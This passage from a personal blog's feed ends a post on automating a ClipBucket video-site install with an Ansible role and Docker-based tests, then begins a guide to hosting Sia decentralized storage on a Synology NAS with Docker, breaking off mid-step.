&lt;p>Many of the SQL scripts are (strangely) &lt;a href="https://github.com/arslancb/clipbucket/issues/223">just broken&lt;/a> and ClipBucket&amp;rsquo;s PHP code seems to silently ignore the errors. I preferred not to silently ignore the SQL errors, so I wrote a &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/master/tasks/fix-sql-scripts.yml">hacky Ansible playbook&lt;/a> to fix or delete the erroneous lines in the ClipBucket SQL scripts.&lt;/p>
&lt;p>Once this was complete, I could run the ClipBucket role and completely automate the installation process. I could kick off a single command, wait for Ansible to run through the installation process, and when it was complete, I had a complete ClipBucket server running.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ ansible-playbook install.yml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PLAY [clipbucket] *************************************************************
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>TASK [setup] *******************************************************************
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ok: [clipbucket]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...many commands elided...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PLAY RECAP *********************************************************************
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>clipbucket : &lt;span style="color:#40ffff">ok&lt;/span>=&lt;span style="color:#3677a9">77&lt;/span> &lt;span style="color:#40ffff">changed&lt;/span>=&lt;span style="color:#3677a9">48&lt;/span> &lt;span style="color:#40ffff">unreachable&lt;/span>=&lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#40ffff">failed&lt;/span>=&lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>



















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1109px">



 &lt;a href="https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-complete.png">
 &lt;img
 
 sizes="(min-width: 768px) 1109px, 98vw"
 srcset='https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-complete_hu_e8d444a612c51c6a.png 300w, https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-complete_hu_1de3b31352f89012.png 600w, https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-complete_hu_3863e10a041d3216.png 800w, https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-complete.png 1109w'
 src="https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-complete.png" alt="Complete ClipBucket installation" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="automating-playbook-testing">Automating Playbook Testing&lt;/h2>
&lt;p>Once I created a working playbook, I still had some work to do in refactoring my Ansible role to make the logic cleaner and more reusable. I quickly realized that it was easy to accidentally break my role this way (e.g. by accidentally deleting a necessary command). I tested for this by repeatedly running my role against a bare VM and then testing that the installation was successful, but this became a very manual and tedious process. Given that the goal of this whole endeavor is automation, I sought a way to automate the process of verifying that my Ansible role still created a working ClipBucket server.&lt;/p>
&lt;p>Jeff Geerling, author of &lt;a href="https://leanpub.com/ansible-for-devops">&lt;em>Ansible for DevOps&lt;/em>&lt;/a>, has a very helpful &lt;a href="http://www.jeffgeerling.com/blog/testing-ansible-roles-travis-ci-github">blog post&lt;/a> that describes how to test Ansible playbooks automatically. Using Geerling&amp;rsquo;s examples, I created a &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/master/build">build script&lt;/a> that does the following:&lt;/p>
&lt;ol>
&lt;li>Creates a bare Ubuntu 14.04 Docker container&lt;/li>
&lt;li>Copies the ClipBucket role into the Docker container under the role name &lt;code>role_under_test&lt;/code> (the naming is to facilitate re-use of test scripts on other roles)&lt;/li>
&lt;li>Performs Ansible syntax and lint checks on my role&lt;/li>
&lt;li>Installs the ClipBucket role into the Docker container&lt;/li>
&lt;li>Runs the same install script to verify that the role is idempotent (running the same role a second time should not change state)&lt;/li>
&lt;li>Verifies that web server within the Docker container is serving the ClipBucket application&amp;rsquo;s landing page, indicating a successful install.&lt;/li>
&lt;/ol>
&lt;p>I&amp;rsquo;m considering expanding the testing by writing more sophisticated web flows, such as creating a new account or uploading a new video. For something of that complexity, we&amp;rsquo;d want to go beyond simple shell commands and use a browser automation tool like &lt;a href="http://www.seleniumhq.org/">Selenium&lt;/a>. Perhaps this will be a topic for a future blog post.&lt;/p>
&lt;p>&lt;strong>Update (2016-09-25)&lt;/strong>: New post about integrating Selenium is up &lt;a href="https://mtlynch.io/testing-ansible-selenium/">here&lt;/a>.&lt;/p>
&lt;h2 id="final-product">Final Product&lt;/h2>
&lt;p>My ClipBucket Ansible Role is available:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/ansible-role-clipbucket">On GitHub&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://galaxy.ansible.com/mtlynch/clipbucket">On Ansible Galaxy&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="using-the-clipbucket-ansible-role">Using the ClipBucket Ansible Role&lt;/h2>
&lt;p>&lt;em>Note: If you&amp;rsquo;re not familiar with Ansible and not interested in learning, see the &lt;a href="#just-install-clipbucket">&amp;ldquo;Just Install Clipbucket&amp;rdquo;&lt;/a> section at the top of this post.&lt;/em>&lt;/p>
&lt;p>It&amp;rsquo;s easy to use the ClipBucket Ansible role. To get started, you&amp;rsquo;ll need to &lt;a href="https://docs.ansible.com/ansible/latest/installation_guide/index.html">install Ansible&lt;/a>. Then create the following files:&lt;/p>
&lt;h3 id="installyml">&lt;code>install.yml&lt;/code>&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf;text-decoration:underline">---&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>- &lt;span style="color:#6ab825;font-weight:bold">hosts&lt;/span>:&lt;span style="color:#666"> &lt;/span>clipbucket&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">become_user&lt;/span>:&lt;span style="color:#666"> &lt;/span>root&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">become_method&lt;/span>:&lt;span style="color:#666"> &lt;/span>sudo&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">become&lt;/span>:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">True&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">vars_files&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- secrets.yml&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">roles&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- {&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">role&lt;/span>:&lt;span style="color:#666"> &lt;/span>mtlynch.clipbucket }&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="secretsyml">&lt;code>secrets.yml&lt;/code>&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf;text-decoration:underline">---&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#999;font-style:italic"># Change these passwords to secure, strong passphrases of your choosing.&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">mysql_root_password&lt;/span>:&lt;span style="color:#666"> &lt;/span>rootpw321&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">clipbucket_mysql_password&lt;/span>:&lt;span style="color:#666"> &lt;/span>dbpw123&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">clipbucket_admin_password&lt;/span>:&lt;span style="color:#666"> &lt;/span>password123&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="hosts">&lt;code>hosts&lt;/code>&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>clipbucket ansible_host=1.2.3.4 # change to your server&amp;#39;s IP or hostname
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then run the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>ansible-galaxy install mtlynch.clipbucket
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ansible-playbook install.yml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the &lt;code>ansible-playbook&lt;/code> command completes, you can navigate to your ClipBucket server and log in with the username &lt;code>admin&lt;/code> and the password you specified in &lt;code>clipbucket_admin_password&lt;/code>.&lt;/p>
&lt;p>Try out the role and leave feedback, file bugs, or submit pull requests if you&amp;rsquo;d like to contribute.&lt;/p></content:encoded></item><item><title>Running Sia on a Synology NAS via Docker</title><link>https://mtlynch.io/sia-via-docker/</link><pubDate>Mon, 30 May 2016 00:00:00 +0000</pubDate><guid>https://mtlynch.io/sia-via-docker/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>&lt;a href="https://sia.tech/">Sia&lt;/a> is a decentralized, peer-to-peer network for buying and selling computer storage space. If you have extra storage space, Sia allows you to sell it to others who want to store their files on the Sia cloud network.&lt;/p>
&lt;p>Hosting a Sia server on your personal laptop or desktop can be challenging. People typically turn off their personal machines at times, or at least reboot them on a regular basis. This present a problem for an application like Sia, as it needs to maintain high availability to serve clients on the network.&lt;/p></description><content:encoded>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>&lt;a href="https://sia.tech/">Sia&lt;/a> is a decentralized, peer-to-peer network for buying and selling computer storage space. If you have extra storage space, Sia allows you to sell it to others who want to store their files on the Sia cloud network.&lt;/p>
&lt;p>Hosting a Sia server on your personal laptop or desktop can be challenging. People typically turn off their personal machines at times, or at least reboot them on a regular basis. This present a problem for an application like Sia, as it needs to maintain high availability to serve clients on the network.&lt;/p>
&lt;p>A convenient solution is to run Sia on a network attached storage (&lt;a href="https://en.wikipedia.org/wiki/Network-attached_storage">NAS&lt;/a>) device. A NAS is designed to remain powered on at all times and rarely needs reboots. Plus, the whole point of a NAS is to provide lots of storage, so it likely has plenty to spare. Many commercial NAS devices include support for Docker, a virtualization tool that can run Sia.&lt;/p>
&lt;p>In this guide, I&amp;rsquo;ll show you how to set up a Sia server on a NAS device using &lt;a href="https://www.docker.com/">Docker&lt;/a>.&lt;/p>
&lt;h2 id="why-host">Why host?&lt;/h2>
&lt;p>Many newcomers to Sia ask, &amp;ldquo;Will I make a lot of money hosting on Sia?&amp;rdquo; The honest answer is that &lt;strong>hosting storage on Sia is NOT lucrative&lt;/strong>&amp;hellip;. yet.&lt;/p>













 








 
 
 







&lt;div class="img align-right" style="max-width: 380px">



 &lt;a href="https://mtlynch.io/sia-via-docker/siahub-2percent.png">
 &lt;img
 
 sizes="(min-width: 768px) 380px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/siahub-2percent_hu_9da0ac18314c21ae.png 300w, https://mtlynch.io/sia-via-docker/siahub-2percent.png 380w'
 src="https://mtlynch.io/sia-via-docker/siahub-2percent.png" alt="SiaHub screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The storage rental market has not yet reached critical mass. SiaHub, my favorite Sia host explorer, shows that the total storage capacity of Sia&amp;rsquo;s network (as of 2017-05-25) is a whopping 1.1 petabytes. Only 2% of that capacity has been rented. With such a surplus of space, hosts can&amp;rsquo;t sell their storage space unless they price it at almost zero.&lt;/p>
&lt;p>So the money&amp;rsquo;s not rolling in quite yet, but here are a couple reasons you might want to participate anyway:&lt;/p>
&lt;h3 id="advantageous-position-if-rental-market-succeeds">Advantageous position if rental market succeeds&lt;/h3>
&lt;p>Unlike competitors such as &lt;a href="https://storj.io/">Storj&lt;/a>, Sia is aimed at selling storage to enterprise customers rather than home users. To date, no large company is relying heavily on Sia, but if even one medium to large business begins using Sia as a storage backend, that could completely kickstart the market.&lt;/p>
&lt;p>When users purchase storage on Sia, the host selection algorithm gives strong preference to hosts that have participated in the network longer. This means that if a buying frenzy comes about, a host with months of solid history will have a strong advantage over hosts that are newly joining the network.&lt;/p>
&lt;h3 id="its-fun">It&amp;rsquo;s fun&lt;/h3>
&lt;p>I personally host just to experiment with something new. I find it fun to tweak my host pricing and see how it affects the number of storage contracts I receive. Sia has also connected me with an &lt;a href="https://reddit.com/r/siacoin">enthusiastic community&lt;/a> of other Sia users.&lt;/p>
&lt;h2 id="software-versions">Software versions&lt;/h2>
&lt;p>This guide uses the latest version of each software component at the time of writing:&lt;/p>













 








 
 
 







&lt;figure class="img align-right" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/sia-via-docker/ds412.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/ds412_hu_cd4f7fb888d6a9fe.jpg 300w, https://mtlynch.io/sia-via-docker/ds412.jpg 500w'
 src="https://mtlynch.io/sia-via-docker/ds412.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Synology DS412+ NAS device&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>DiskStation Manager (DSM) 6.1.2-15132&lt;/li>
&lt;li>Sia v.1.3.4&lt;/li>
&lt;li>Docker v.1.11.2&lt;/li>
&lt;/ul>
&lt;p>Though this guide is written specifically for the Synology DSM system, the steps relating to Docker should be applicable on any platform that supports Docker.&lt;/p>
&lt;p>I successfully tested this on a &lt;a href="https://smile.amazon.com/Synology-DiskStation-Diskless-Attached-DS412/dp/B007JLE84C/">Synology DS412+&lt;/a>, but these steps should work on any Synology NAS with the latest DSM and sufficient CPU/RAM. It should also be straightforward to adapt these instructions to work for another full featured consumer NAS, such as a &lt;a href="https://www.qnap.com/en-us/">QNAP NAS&lt;/a>.&lt;/p>
&lt;h2 id="configuring-the-nas">Configuring the NAS&lt;/h2>
&lt;h3 id="install-docker">Install Docker&lt;/h3>
&lt;p>First, install Docker.&lt;/p>
&lt;p>Docker is one of the few Synology-published, official packages available for DSM. Find it in Package Center by searching for &lt;code>docker&lt;/code> and clicking &amp;ldquo;Install.&amp;rdquo;&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 878px">



 &lt;a href="https://mtlynch.io/sia-via-docker/package-docker.png">
 &lt;img
 
 sizes="(min-width: 768px) 878px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/package-docker_hu_96f408c89273b7bf.png 300w, https://mtlynch.io/sia-via-docker/package-docker_hu_387048e1bddc5cb9.png 600w, https://mtlynch.io/sia-via-docker/package-docker_hu_7910cb0337f98d3a.png 800w, https://mtlynch.io/sia-via-docker/package-docker.png 878w'
 src="https://mtlynch.io/sia-via-docker/package-docker.png" alt="Install Docker package" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="create-sia-directory">Create Sia directory&lt;/h3>
&lt;p>Next, create a dedicated Shared Folder for Sia. This is the folder where Sia will store all of its state information, including encrypted wallet files and the blockchain database.&lt;/p>
&lt;p>From File Station, create a new Shared Folder and name it &amp;ldquo;sia&amp;rdquo;:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 547px">



 &lt;a href="https://mtlynch.io/sia-via-docker/new-shared-folder.png">
 &lt;img
 
 sizes="(min-width: 768px) 547px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/new-shared-folder_hu_42a7da2b51264638.png 300w, https://mtlynch.io/sia-via-docker/new-shared-folder.png 547w'
 src="https://mtlynch.io/sia-via-docker/new-shared-folder.png" alt="Create new shared folder" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="enable-ssh-access-to-diskstation">Enable SSH access to DiskStation&lt;/h3>
&lt;p>There are no pre-packaged Docker images for Sia, so you&amp;rsquo;ll create a &lt;code>Dockerfile&lt;/code> to define the Docker image. Because the DSM Docker app does not support creation of images from a &lt;code>Dockerfile&lt;/code>, you&amp;rsquo;ll do this through the command line.&lt;/p>
&lt;p>To enable this functionality, open Control Panel &amp;gt; Terminal &amp;amp; SNMP and check the box next to &amp;ldquo;Enable SSH service.&amp;rdquo;&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 992px">



 &lt;a href="https://mtlynch.io/sia-via-docker/enable-ssh.png">
 &lt;img
 
 sizes="(min-width: 768px) 992px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/enable-ssh_hu_2b897b060e60a81d.png 300w, https://mtlynch.io/sia-via-docker/enable-ssh_hu_12f5ddc3bd591ed7.png 600w, https://mtlynch.io/sia-via-docker/enable-ssh_hu_f913155ac2ff6a15.png 800w, https://mtlynch.io/sia-via-docker/enable-ssh.png 992w'
 src="https://mtlynch.io/sia-via-docker/enable-ssh.png" alt="Install Docker package" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="creating-the-docker-container">Creating the Docker container&lt;/h2>
&lt;p>Connect to your NAS over SSH from another machine on the network. Linux and OS X users can run the following command from the terminal. Windows users need an SSH client, such as &lt;a href="https://www.cygwin.com">Cygwin&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh admin@diskstation
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you connect to the NAS via SSH, run the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># NOTE: Replace 10.0.0.101 with the IP address of your Synology NAS on your&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># local network.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>admin@DiskStation:/$ &lt;span style="color:#40ffff">LOCAL_IP&lt;/span>=10.0.0.101
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create a Docker container based on the Sia image and start running it in the&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># background.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>admin@DiskStation:$ sudo docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --detach &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --volume /volume1/sia:/sia-data &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">LOCAL_IP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:9980:9980&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 9981:9981 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 9982:9982 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --restart always &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name sia-container &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> nebulouslabs/sia
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The previous commands do the following:&lt;/p>
&lt;ul>
&lt;li>Downloads my &lt;a href="https://github.com/mtlynch/docker-sia">unofficial Sia Docker image&lt;/a>.&lt;/li>
&lt;li>Creates a Docker container from the image and starts running the container in the background.&lt;/li>
&lt;li>Forwards traffic to ports &lt;code>9980&lt;/code>-&lt;code>9982&lt;/code> on the NAS (the Docker host) to those same port numbers within the Sia container.
&lt;ul>
&lt;li>&lt;strong>Important&lt;/strong>: Notice that for port &lt;code>9980&lt;/code> you bind &lt;em>only to the local network interface&lt;/em>, whereas for other ports you implicitly bind to all interfaces. This is a security measure. Anyone who communicates with &lt;code>siad&lt;/code> on port &lt;code>9980&lt;/code> has full control of our host and can, for example, empty our wallet. This measure is not strictly necessary if our network does not expose this port externally, but it is a useful precaution regardless.&lt;/li>
&lt;li>My NAS has the IP address &lt;code>10.0.0.101&lt;/code>. You can find your NAS&amp;rsquo;s IP address with the command &lt;code>dig diskstation +short&lt;/code> from another machine on your local network.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="checking-for-success">Checking for success&lt;/h3>
&lt;p>From DSM, open the Docker app and view the &amp;ldquo;Container&amp;rdquo; panel. You should see something similar to the following:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1057px">



 &lt;a href="https://mtlynch.io/sia-via-docker/sia-running.png">
 &lt;img
 
 sizes="(min-width: 768px) 1057px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/sia-running_hu_b77b53686fe8359d.png 300w, https://mtlynch.io/sia-via-docker/sia-running_hu_d2698d50a0124bb0.png 600w, https://mtlynch.io/sia-via-docker/sia-running_hu_fc10e22fade56b2b.png 800w, https://mtlynch.io/sia-via-docker/sia-running.png 1057w'
 src="https://mtlynch.io/sia-via-docker/sia-running.png" alt="Sia container running" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you open the &amp;ldquo;sia&amp;rdquo; Shared Folder we created earlier, you&amp;rsquo;ll see that &lt;code>siad&lt;/code> has created several folders:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 918px">



 &lt;a href="https://mtlynch.io/sia-via-docker/sia-folder-populated.png">
 &lt;img
 
 sizes="(min-width: 768px) 918px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/sia-folder-populated_hu_31cea291421a0558.png 300w, https://mtlynch.io/sia-via-docker/sia-folder-populated_hu_1e55d01d5dc57b35.png 600w, https://mtlynch.io/sia-via-docker/sia-folder-populated_hu_e16e4d48b6163919.png 800w, https://mtlynch.io/sia-via-docker/sia-folder-populated.png 918w'
 src="https://mtlynch.io/sia-via-docker/sia-folder-populated.png" alt="Sia generated folders" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="configuring-sia">Configuring Sia&lt;/h2>
&lt;h3 id="checking-status">Checking status&lt;/h3>
&lt;p>Let&amp;rsquo;s connect to our Sia daemon using the command-line client, &lt;code>siac&lt;/code>.&lt;/p>
&lt;p>With &lt;code>siad&lt;/code> running on our NAS, you can communicate with it from any other machine on your local network. The machine will need the &lt;a href="https://github.com/NebulousLabs/Sia/releases">latest Sia
release&lt;/a>.&lt;/p>
&lt;p>Once you&amp;rsquo;ve copied the &lt;code>siac&lt;/code> binary to your machine, you can run &lt;code>siac&lt;/code> commands by specifying your NAS&amp;rsquo;s hostname in the &lt;code>addr&lt;/code> parameter:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># DISKSTATION is the hostname of the NAS on my local network, the default for&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Synology NAS devices.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./siac --addr DISKSTATION:9980
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Synced: No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Block: 0000000001ac2429ee234370ddf139ce87161277eded4bd58bcd31c5e5e2554f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Height: &lt;span style="color:#3677a9">727&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Target: [&lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">12&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> &lt;span style="color:#3677a9">204&lt;/span> 204]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="adding-host-storage">Adding host storage&lt;/h3>
&lt;p>To create storage space to sell to other Sia users, create a dedicated subdirectory called &lt;code>host-storage&lt;/code> in your &amp;ldquo;sia&amp;rdquo; shared folder:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 914px">



 &lt;a href="https://mtlynch.io/sia-via-docker/create-storage-folder.png">
 &lt;img
 
 sizes="(min-width: 768px) 914px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/create-storage-folder_hu_ac42758ab29c95b5.png 300w, https://mtlynch.io/sia-via-docker/create-storage-folder_hu_d76e4569282c89be.png 600w, https://mtlynch.io/sia-via-docker/create-storage-folder_hu_442b5c9f3a57d630.png 800w, https://mtlynch.io/sia-via-docker/create-storage-folder.png 914w'
 src="https://mtlynch.io/sia-via-docker/create-storage-folder.png" alt="Sia storage folder" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Then, use &lt;code>siac&lt;/code> to add that folder as a new Sia host storage folder:&lt;/p>
